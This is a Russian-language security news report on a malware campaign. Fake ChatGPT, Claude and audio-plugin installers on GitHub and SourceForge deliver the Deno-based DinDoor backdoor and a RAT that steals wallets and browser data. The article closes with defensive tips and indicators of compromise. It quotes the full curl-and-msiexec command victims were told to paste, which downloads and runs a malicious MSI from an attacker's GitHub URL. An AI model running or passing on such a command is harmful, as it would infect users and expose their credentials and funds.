Специалисты по кибербезопасности в ходе охоты за угрозами выявили масштабную кампанию по распространению вредоносного ПО через легитимные репозитории. Злоумышленники создали поддельные установщики и плагины для популярных программ, включая ChatGPT, Claude, AutoTune и Kontakt, и разместили их на платформах GitHub и SourceForge. Внутри этих сборок скрывался бэкдор DinDoor, построенный на среде выполнения JavaScript/TypeScript Deno. Вредоносная активность привлекла внимание тем, что использует свежие техники обхода традиционных средств защиты.
Описание
Атака начинается с компрометации каналов на YouTube. Злоумышленники выкладывают видео, сгенерированные нейросетями, в которых рекламируют "бесплатные версии" или "плагины" для дорогих программ. Эти ролики набрали в совокупности более 50 тысяч просмотров. В описании или комментариях жертву направляют на репозитории GitHub или страницы SourceForge, где размещены фейковые MSI-файлы и PowerShell-скрипты. Особенность в том, что мошенники постоянно меняют учётные записи на GitHub, чтобы не быть заблокированными. Как только репозиторий удаляется модерацией, тут же появляется новый.
Вредоносные установщики нацелены на создателей контента, энтузиастов ИИ и геймеров - то есть на тех, кто склонен скачивать неофициальные инструменты или крякнутое программное обеспечение. При этом файлы маскируются под установщики ChatGPT, Claude, а также под плагины для музыкального софта ZENOLOGY, Ableton Live, AutoTune и Kontakt. Пользователю предлагают открыть терминал и скопировать команду, которая загружает MSI из GitHub и запускает его через msiexec. В одной из обнаруженных цепочек команда выглядела так: "curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi". Такой подход позволяет обойти многие антивирусные проверки, так как выполнение происходит доверенным системным инструментом.
Следующий этап ещё интереснее. На машине жертвы устанавливается менеджер пакетов Scoop (популярная утилита для установки софта через командную строку), затем с его помощью ставится WinGet (официальный менеджер пакетов Windows), и уже через WinGet или Scoop загружается среда Deno. Это бесплатный рантайм для выполнения кода на JavaScript и TypeScript, который обычно используют разработчики, а не злоумышленники. [Исследователи сообщили], что после установки Deno запускается первая стадия бэкдора - скрипт "launcher-1", который связывается с командным сервером (C2) и получает следующий этап - "launcher-2", известный как DinDoor. Этот бэкдор обеспечивает закрепление в системе, собирает информацию о компьютере и ждёт дальнейших команд от C2.
Финальная полезная нагрузка - это троян удалённого доступа (RAT), также написанный на Deno. Он обладает полным набором возможностей для кражи данных и скрытого управления. RAT умеет собирать системную информацию, делать скриншоты, извлекать данные из более чем 50 расширений криптокошельков (включая Atomic Wallet, Exodus, Electrum) и из популярных браузеров: Chrome, Edge, Opera, Brave и других. Кроме того, он может перехватывать буфер обмена, работать с файлами, выполнять произвольные команды PowerShell и запускать дополнительные полезные нагрузки. Управление осуществляется через HTTP и WebSocket, причём одним из наиболее интересных новшеств стала функция пиринговой видеотрансляции.
Для неё RAT порождает скрытый процесс браузера Microsoft Edge и подключается к нему через протокол Chrome DevTools (CDP). Внутри Edge внедряется небольшая HTML-страница, использующая WebRTC. Захваченный экран жертвы кодируется в H.264, передаётся в страницу, а та направляет видеопоток напрямую оператору по зашифрованному каналу, минуя командный сервер. Таким образом трафик маскируется под легитимную активность Edge, что серьёзно усложняет обнаружение.
Специалисты отмечают, что подобные кампании наращивают обороты. Ранее в этом году фиксировались случаи использования другой альтернативной среды выполнения - Bun - для доставки стилера NWHStealer. А в марте злоумышленники применяли Deno вместе с многоступенчатой цепочкой заражения ClickFix для распространения CastleLoader. Текущая кампания демонстрирует, что преступники всё активнее осваивают нетрадиционные рантаймы, чтобы обойти сигнатурные детекторы.
Разработчики GitHub уже удалили часть вредоносных репозиториев по запросу исследователей, но ожидается появление новых учётных записей и ссылок. Чтобы не стать жертвой, специалистам по информационной безопасности и обычным пользователям стоит придерживаться нескольких простых правил. Скачивать программы только с официальных сайтов вендоров. С осторожностью относиться к любым "бесплатным" версиям платного софта, особенно если они распространяются через GitHub или форумы от малоизвестных авторов. Перед запуском любого MSI или скрипта проверять цифровую подпись файла в свойствах: её отсутствие или подозрительный вид - это тревожный сигнал. И, наконец, обращать внимание на дату создания учётной записи разработчика: совсем свежие профили с единственным репозиторием почти наверняка вредоносны.
Эта атака - очередное напоминание о том, что доверие к популярным платформам должно сочетаться с бдительностью. Даже легитимные сервисы могут быть использованы как векторы для распространения сложных угроз, и задача защитников - не только реагировать на инциденты, но и прогнозировать новые техники оппонентов.
Индикаторы компрометации
IPv4
- 193.233.198.132
- 23.227.196.107
- 31.57.129.23
- 45.137.99.121
- 66.78.40.107
Domains
- claudescript.top
- agilemast3r.duckdns.org
- ashpaltlonpro.com
- cf-proxy.cloud-analytics-services.workers.dev
- dakatawebstick.com
- geralnewlong.com
- hngfbgfbfb.cyou
- logicalnewrestore.com
- ms-telemetry-gateway-us.com
URLs
- https://github.com/ai-gen-profi
- https://github.com/claude-free-plugin/
- https://github.com/wharfdemolisherpit
- https://sourceforge.net/projects/bluewaveremover/
- https://sourceforge.net/projects/gearup/
